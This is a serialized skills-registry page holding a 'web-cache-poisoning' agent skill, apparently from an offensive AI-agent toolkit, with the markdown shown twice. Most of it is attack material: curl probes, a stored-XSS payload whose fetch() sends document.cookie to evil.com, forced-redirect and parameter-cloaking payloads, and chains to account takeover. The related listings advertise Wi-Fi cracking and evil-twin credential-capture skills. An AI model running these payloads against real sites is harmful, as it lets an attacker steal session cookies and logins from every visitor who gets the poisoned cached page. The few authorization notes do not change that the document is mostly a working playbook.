[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M770EZP8526YCFSAH5XHAPEX":3,"skill-same:01M770EZP8526YCFSAH5XHAPEX":50},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":18,"publishedAt":19,"linkOnly":20,"markdownContent":21,"markdownBody":22,"frontMatter":23,"refName":30,"commitSha":31,"skillDirectory":32,"forksCount":14,"repositoryHtmlUrl":33,"repositoryHomepageUrl":6,"ownerHtmlUrl":34,"ownerBlogUrl":6,"ownerDescription":6,"updatedAt":35,"install":36,"resources":49},"01M770EZP8526YCFSAH5XHAPEX","web-cache-poisoning",null,"Unkeyed-input cache poisoning — X-Forwarded-Host\u002FScheme\u002FPort, X-Original-URL, fat-GET, parameter cloaking, oversized-header DoS, and chains to stored-XSS \u002F open redirect via shared caches.","Iwakishirokoshu\u002FHermesUltimate","Iwakishirokoshu","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F194847626?v=4","01M75P4CVGA89TTCE8JGMNAQQ9","Around","01M75P4CWF85V6GVSEFKGGFZ03",0,"MIT","https:\u002F\u002Fgithub.com\u002FIwakishirokoshu\u002FHermesUltimate\u002Fblob\u002Fmain\u002Fstack\u002Fdecepticon-slim\u002Fupstream\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fexploit\u002Fweb\u002Fweb-cache-poisoning\u002FSKILL.md",[],[],"2026-11-12 13:55:43",false,"---\nname: web-cache-poisoning\ndescription: Unkeyed-input cache poisoning — X-Forwarded-Host\u002FScheme\u002FPort, X-Original-URL, fat-GET, parameter cloaking, oversized-header DoS, and chains to stored-XSS \u002F open redirect via shared caches.\nallowed-tools: Bash Read Write\nmetadata:\n  when_to_use: \"cache poisoning unkeyed header x-forwarded-host x-forwarded-scheme x-original-url param miner fat get cdn varnish cloudflare\"\n  mitre_attack: T1565.001\n  subdomain: execution\n  tags: web-application, cache, cdn, unkeyed-input, stored-xss\n---\n\n# Web Cache Poisoning Playbook\n\nDistinct from *cache deception* (tricking the cache into storing a victim's\nprivate response). Here, the attacker poisons the **shared** cache so every\nsubsequent visitor receives an attacker-controlled response. Impact ranges from\ndefacement → reflected-XSS-as-stored → forced-redirect → DoS.\n\n## 1. Detection — find unkeyed inputs\n\nDefinition: an *unkeyed* input is a header\u002Fparameter the cache ignores when\nbuilding the cache key but the origin reflects into the response.\n\n```bash\nURL=\"https:\u002F\u002F\u003CTARGET>\u002F\"\n\n# (1) Cache-status fingerprint — must see HIT\u002FMISS to know caching exists\ncurl -s -D- -o \u002Fdev\u002Fnull \"$URL?cb=$RANDOM\" | grep -iE \"age|x-cache|cf-cache-status|via\"\n\n# (2) Suspect headers — reflect into body or Location?\nfor H in \"X-Forwarded-Host: evil.com\" \"X-Forwarded-Scheme: http\" \\\n         \"X-Forwarded-Port: 8888\" \"X-Forwarded-For: evil.com\" \\\n         \"X-Host: evil.com\" \"X-Original-URL: \u002Fadmin\" \\\n         \"X-Rewrite-URL: \u002Fadmin\" \"X-Forwarded-Server: evil.com\" \\\n         \"Forwarded: host=evil.com\"; do\n  echo \"== $H ==\"\n  curl -s \"$URL?cb=$RANDOM\" -H \"$H\" | grep -E \"evil\\.com|8888|\u002Fadmin\" | head -3\ndone\n\n# (3) Confirm poisoning — same URL twice, second request WITHOUT the header\ncurl -s \"$URL?poison=1\" -H \"X-Forwarded-Host: evil.com\" -o \u002Fdev\u002Fnull\ncurl -s \"$URL?poison=1\" | grep -E \"evil\\.com\"   # if present → poisoned\n```\n\n## 2. Misconfig \u002F technique matrix\n\n| Class | Trigger | Outcome |\n|---|---|---|\n| Standard unkeyed header | `X-Forwarded-Host: evil.com` reflected into `\u003Clink rel=canonical>` or absolute URLs | stored open-redirect \u002F XSS |\n| Scheme downgrade | `X-Forwarded-Scheme: http` reflected | force-HTTP cache → MITM |\n| Port confusion | `X-Forwarded-Port: 1` reflected into JS asset URLs | broken site DoS |\n| Routing override | `X-Original-URL: \u002Fadmin`, `X-Rewrite-URL` | cached admin page served to public |\n| Fat GET | GET with a body parsed by origin but unkeyed by cache | inject params via body |\n| Parameter cloaking | `?utm=x&utm=\u003Cpayload>` — cache normalizes, origin doesn't (or vice-versa) | poisoned param survives |\n| Key normalization flaw | cache lowercases path, origin doesn't (or strips `;jsessionid`) | desync key vs. response |\n| Cache-key injection via `Vary` gap | response varies on header cache doesn't include | per-attacker poisoning |\n| HTTP\u002F0.9 \u002F smuggling-assist | downstream cache stores smuggled response | mass poisoning |\n| Cache-Control overlap | origin returns `Cache-Control: private`, CDN ignores it | private response cached globally |\n| Oversized-header DoS | huge unkeyed header → origin 400, CDN caches 400 | denial-of-service on the URL |\n| 404 \u002F error caching | error page cached with attacker payload reflected | DoS + stored XSS |\n\n## 3. Exploit PoC\n\n### 3.1 Stored-XSS via unkeyed Host\n```bash\n# Origin reflects X-Forwarded-Host into \u003Cmeta property=\"og:url\">\ncurl -s \"https:\u002F\u002F\u003CTARGET>\u002F?cb=$RANDOM\" \\\n  -H 'X-Forwarded-Host: a\">\u003Cscript>fetch(\"https:\u002F\u002Fevil.com\u002F?c=\"+document.cookie)\u003C\u002Fscript>\u003Cx=\"'\n# Verify cache HIT for the next visitor:\ncurl -s \"https:\u002F\u002F\u003CTARGET>\u002F?cb=$RANDOM\" | grep -o 'evil\\.com'\n```\n\n### 3.2 Forced redirect\n```bash\ncurl -s \"https:\u002F\u002F\u003CTARGET>\u002Flogin?cb=$RANDOM\" -H \"X-Forwarded-Host: evil.com\" -o \u002Fdev\u002Fnull\n# Subsequent victims:\ncurl -sI \"https:\u002F\u002F\u003CTARGET>\u002Flogin?cb=$RANDOM\" | grep -i location\n# → Location: https:\u002F\u002Fevil.com\u002Flogin  (cached for the TTL)\n```\n\n### 3.3 Param-cloaking poison (Ruby\u002FRails-style last-wins vs. CDN first-wins)\n```bash\ncurl -s \"https:\u002F\u002F\u003CTARGET>\u002F?utm=clean&utm=%22%3E%3Csvg\u002Fonload=alert(1)%3E\"\n```\n\n## 4. Chains\n- **Cache poisoning → stored XSS**: reflected XSS upgraded to mass-victim impact via cached response.\n- **Cache poisoning → ATO**: poison `\u002Flogin` to send creds to attacker via swapped form action.\n- **Cache poisoning → SSRF**: poison API responses an internal job consumes.\n- **Smuggling → cache poisoning**: HTTP request smuggling stores arbitrary attacker response globally.\n\n## 5. Tools\n- Burp Suite — **Param Miner** extension (Hackvertor + cache rules) — *the* canonical tool\n- `cache-poisoning` payload lists (PortSwigger research)\n- `httpx -follow-redirects -title -tech-detect` for fingerprinting Vary\u002F`X-Cache`\n\n## 6. Detection signatures & OPSEC\n\n| Indicator | Detection method | OPSEC note |\n|---|---|---|\n| Repeated `X-Forwarded-*` permutations on one URL | WAF rule \u002F access log | Cache-bust with `?cb=$RANDOM` per probe; do NOT poison shared paths during tests |\n| Sudden cache HIT containing attacker host | CDN log review | Use a unique sentinel host you can prove you own |\n| Mass `Age: 0` on poisoned paths | CDN metric | Coordinate purge with the defender before disclosure |\n\n## Decision Gate: poisoning confirmed → exploitation\n- [ ] Caching layer present (`X-Cache: HIT`, `Age:` ticks)\n- [ ] At least one unkeyed input reflects into response\u002Fredirect\n- [ ] A second request without the input still returns the poisoned response\n- [ ] Reflected payload reaches a security-sensitive sink (script, Location, form action)\n- [ ] Defender notified before live-cache exploitation (authorized scope)\nIf all checked, escalate per `finding-protocol`; otherwise downgrade.\n","# Web Cache Poisoning Playbook\n\nDistinct from *cache deception* (tricking the cache into storing a victim's\nprivate response). Here, the attacker poisons the **shared** cache so every\nsubsequent visitor receives an attacker-controlled response. Impact ranges from\ndefacement → reflected-XSS-as-stored → forced-redirect → DoS.\n\n## 1. Detection — find unkeyed inputs\n\nDefinition: an *unkeyed* input is a header\u002Fparameter the cache ignores when\nbuilding the cache key but the origin reflects into the response.\n\n```bash\nURL=\"https:\u002F\u002F\u003CTARGET>\u002F\"\n\n# (1) Cache-status fingerprint — must see HIT\u002FMISS to know caching exists\ncurl -s -D- -o \u002Fdev\u002Fnull \"$URL?cb=$RANDOM\" | grep -iE \"age|x-cache|cf-cache-status|via\"\n\n# (2) Suspect headers — reflect into body or Location?\nfor H in \"X-Forwarded-Host: evil.com\" \"X-Forwarded-Scheme: http\" \\\n         \"X-Forwarded-Port: 8888\" \"X-Forwarded-For: evil.com\" \\\n         \"X-Host: evil.com\" \"X-Original-URL: \u002Fadmin\" \\\n         \"X-Rewrite-URL: \u002Fadmin\" \"X-Forwarded-Server: evil.com\" \\\n         \"Forwarded: host=evil.com\"; do\n  echo \"== $H ==\"\n  curl -s \"$URL?cb=$RANDOM\" -H \"$H\" | grep -E \"evil\\.com|8888|\u002Fadmin\" | head -3\ndone\n\n# (3) Confirm poisoning — same URL twice, second request WITHOUT the header\ncurl -s \"$URL?poison=1\" -H \"X-Forwarded-Host: evil.com\" -o \u002Fdev\u002Fnull\ncurl -s \"$URL?poison=1\" | grep -E \"evil\\.com\"   # if present → poisoned\n```\n\n## 2. Misconfig \u002F technique matrix\n\n| Class | Trigger | Outcome |\n|---|---|---|\n| Standard unkeyed header | `X-Forwarded-Host: evil.com` reflected into `\u003Clink rel=canonical>` or absolute URLs | stored open-redirect \u002F XSS |\n| Scheme downgrade | `X-Forwarded-Scheme: http` reflected | force-HTTP cache → MITM |\n| Port confusion | `X-Forwarded-Port: 1` reflected into JS asset URLs | broken site DoS |\n| Routing override | `X-Original-URL: \u002Fadmin`, `X-Rewrite-URL` | cached admin page served to public |\n| Fat GET | GET with a body parsed by origin but unkeyed by cache | inject params via body |\n| Parameter cloaking | `?utm=x&utm=\u003Cpayload>` — cache normalizes, origin doesn't (or vice-versa) | poisoned param survives |\n| Key normalization flaw | cache lowercases path, origin doesn't (or strips `;jsessionid`) | desync key vs. response |\n| Cache-key injection via `Vary` gap | response varies on header cache doesn't include | per-attacker poisoning |\n| HTTP\u002F0.9 \u002F smuggling-assist | downstream cache stores smuggled response | mass poisoning |\n| Cache-Control overlap | origin returns `Cache-Control: private`, CDN ignores it | private response cached globally |\n| Oversized-header DoS | huge unkeyed header → origin 400, CDN caches 400 | denial-of-service on the URL |\n| 404 \u002F error caching | error page cached with attacker payload reflected | DoS + stored XSS |\n\n## 3. Exploit PoC\n\n### 3.1 Stored-XSS via unkeyed Host\n```bash\n# Origin reflects X-Forwarded-Host into \u003Cmeta property=\"og:url\">\ncurl -s \"https:\u002F\u002F\u003CTARGET>\u002F?cb=$RANDOM\" \\\n  -H 'X-Forwarded-Host: a\">\u003Cscript>fetch(\"https:\u002F\u002Fevil.com\u002F?c=\"+document.cookie)\u003C\u002Fscript>\u003Cx=\"'\n# Verify cache HIT for the next visitor:\ncurl -s \"https:\u002F\u002F\u003CTARGET>\u002F?cb=$RANDOM\" | grep -o 'evil\\.com'\n```\n\n### 3.2 Forced redirect\n```bash\ncurl -s \"https:\u002F\u002F\u003CTARGET>\u002Flogin?cb=$RANDOM\" -H \"X-Forwarded-Host: evil.com\" -o \u002Fdev\u002Fnull\n# Subsequent victims:\ncurl -sI \"https:\u002F\u002F\u003CTARGET>\u002Flogin?cb=$RANDOM\" | grep -i location\n# → Location: https:\u002F\u002Fevil.com\u002Flogin  (cached for the TTL)\n```\n\n### 3.3 Param-cloaking poison (Ruby\u002FRails-style last-wins vs. CDN first-wins)\n```bash\ncurl -s \"https:\u002F\u002F\u003CTARGET>\u002F?utm=clean&utm=%22%3E%3Csvg\u002Fonload=alert(1)%3E\"\n```\n\n## 4. Chains\n- **Cache poisoning → stored XSS**: reflected XSS upgraded to mass-victim impact via cached response.\n- **Cache poisoning → ATO**: poison `\u002Flogin` to send creds to attacker via swapped form action.\n- **Cache poisoning → SSRF**: poison API responses an internal job consumes.\n- **Smuggling → cache poisoning**: HTTP request smuggling stores arbitrary attacker response globally.\n\n## 5. Tools\n- Burp Suite — **Param Miner** extension (Hackvertor + cache rules) — *the* canonical tool\n- `cache-poisoning` payload lists (PortSwigger research)\n- `httpx -follow-redirects -title -tech-detect` for fingerprinting Vary\u002F`X-Cache`\n\n## 6. Detection signatures & OPSEC\n\n| Indicator | Detection method | OPSEC note |\n|---|---|---|\n| Repeated `X-Forwarded-*` permutations on one URL | WAF rule \u002F access log | Cache-bust with `?cb=$RANDOM` per probe; do NOT poison shared paths during tests |\n| Sudden cache HIT containing attacker host | CDN log review | Use a unique sentinel host you can prove you own |\n| Mass `Age: 0` on poisoned paths | CDN metric | Coordinate purge with the defender before disclosure |\n\n## Decision Gate: poisoning confirmed → exploitation\n- [ ] Caching layer present (`X-Cache: HIT`, `Age:` ticks)\n- [ ] At least one unkeyed input reflects into response\u002Fredirect\n- [ ] A second request without the input still returns the poisoned response\n- [ ] Reflected payload reaches a security-sensitive sink (script, Location, form action)\n- [ ] Defender notified before live-cache exploitation (authorized scope)\nIf all checked, escalate per `finding-protocol`; otherwise downgrade.\n",{"name":5,"metadata":24,"description":7,"allowed-tools":29},{"tags":25,"subdomain":26,"when_to_use":27,"mitre_attack":28},"web-application, cache, cdn, unkeyed-input, stored-xss","execution","cache poisoning unkeyed header x-forwarded-host x-forwarded-scheme x-original-url param miner fat get cdn varnish cloudflare","T1565.001","Bash Read Write","main","c0c483827a963764d5e1a663a9591867d47289e6","stack\u002Fdecepticon-slim\u002Fupstream\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fexploit\u002Fweb\u002Fweb-cache-poisoning","https:\u002F\u002Fgithub.com\u002FIwakishirokoshu\u002FHermesUltimate","https:\u002F\u002Fgithub.com\u002FIwakishirokoshu","2026-06-15 13:48:41",{"source":8,"skillName":5,"commands":37,"prompt":47,"zipAvailable":48},[38,41,44],{"tool":39,"command":40},"npx","npx skills add Iwakishirokoshu\u002FHermesUltimate --skill web-cache-poisoning",{"tool":42,"command":43},"bunx","bunx skills add Iwakishirokoshu\u002FHermesUltimate --skill web-cache-poisoning",{"tool":45,"command":46},"pnpm","pnpm dlx skills add Iwakishirokoshu\u002FHermesUltimate --skill web-cache-poisoning","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002FIwakishirokoshu\u002FHermesUltimate\u002Fblob\u002Fmain\u002Fstack\u002Fdecepticon-slim\u002Fupstream\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fexploit\u002Fweb\u002Fweb-cache-poisoning\u002FSKILL.md",true,[],[51,58,65,72,79,86],{"skillNo":52,"name":53,"nameZh":6,"description":54,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":55,"categories":56,"keywords":57,"publishedAt":19},"01M770W8JDE5EC1TJT4GSDWD78","wps-pixie-dust","WPS Pixie-Dust offline nonce attack (reaver -K \u002F pixiewps) and fallback online PIN brute (bully) to recover the AP's WPA PSK without capturing a handshake.","https:\u002F\u002Fgithub.com\u002FIwakishirokoshu\u002FHermesUltimate\u002Fblob\u002Fmain\u002Fstack\u002Fdecepticon-slim\u002Fupstream\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwps-pixie-dust\u002FSKILL.md",[],[],{"skillNo":59,"name":60,"nameZh":6,"description":61,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":62,"categories":63,"keywords":64,"publishedAt":19},"01M770W4B7T5VCVHB88V1F02H1","wpa3-sae","WPA3-SAE transition-mode downgrade (DragonShift), SSID Confusion CVE-2023-52424, Dragonblood side-channels, and SAE captive-portal credential recovery against WPA3-Personal networks.","https:\u002F\u002Fgithub.com\u002FIwakishirokoshu\u002FHermesUltimate\u002Fblob\u002Fmain\u002Fstack\u002Fdecepticon-slim\u002Fupstream\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwpa3-sae\u002FSKILL.md",[],[],{"skillNo":66,"name":67,"nameZh":6,"description":68,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":69,"categories":70,"keywords":71,"publishedAt":19},"01M770W093C8FAV8S34K8VB6T9","wpa2-psk","WPA\u002FWPA2-PSK handshake capture via targeted deauth + PMKID (no deauth required) + offline hashcat cracking. The most common consumer\u002FSMB encryption mode in 2026.","https:\u002F\u002Fgithub.com\u002FIwakishirokoshu\u002FHermesUltimate\u002Fblob\u002Fmain\u002Fstack\u002Fdecepticon-slim\u002Fupstream\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwpa2-psk\u002FSKILL.md",[],[],{"skillNo":73,"name":74,"nameZh":6,"description":75,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":76,"categories":77,"keywords":78,"publishedAt":19},"01M770VTNAQGZ3D0RQVFEKTE8Z","wpa-enterprise-eap","WPA\u002FWPA2\u002FWPA3-Enterprise (802.1X\u002FEAP) rogue-RADIUS evil-twin for MSCHAPv2 capture, GTC downgrade, and PEAP relay. MSCHAPv2 capture equals a NetNTLM hash — the primary wireless on-ramp to Active Directory.","https:\u002F\u002Fgithub.com\u002FIwakishirokoshu\u002FHermesUltimate\u002Fblob\u002Fmain\u002Fstack\u002Fdecepticon-slim\u002Fupstream\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwpa-enterprise-eap\u002FSKILL.md",[],[],{"skillNo":80,"name":81,"nameZh":6,"description":82,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":83,"categories":84,"keywords":85,"publishedAt":19},"01M770VNG05ZX3CV84R9GX8PJN","krack-fragattacks","KRACK key-reinstallation (CVE-2017-13077..13082) and FragAttacks fragmentation\u002Faggregation flaws (CVE-2020-24586..24588, CVE-2020-26139..26147) against legacy or embedded 802.11 supplicants with poor patch cadence.","https:\u002F\u002Fgithub.com\u002FIwakishirokoshu\u002FHermesUltimate\u002Fblob\u002Fmain\u002Fstack\u002Fdecepticon-slim\u002Fupstream\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fkrack-fragattacks\u002FSKILL.md",[],[],{"skillNo":87,"name":88,"nameZh":6,"description":89,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":90,"categories":91,"keywords":92,"publishedAt":19},"01M770VHFH7N192V56PFSRXF5K","evil-twin-karma","Evil-twin rogue AP with KARMA\u002FMana PNL-probe response, captive-portal credential capture, and post-association MITM for PSK\u002Fopen networks. Distinct from wpa-enterprise-eap which targets 802.1X.","https:\u002F\u002Fgithub.com\u002FIwakishirokoshu\u002FHermesUltimate\u002Fblob\u002Fmain\u002Fstack\u002Fdecepticon-slim\u002Fupstream\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fevil-twin-karma\u002FSKILL.md",[],[]]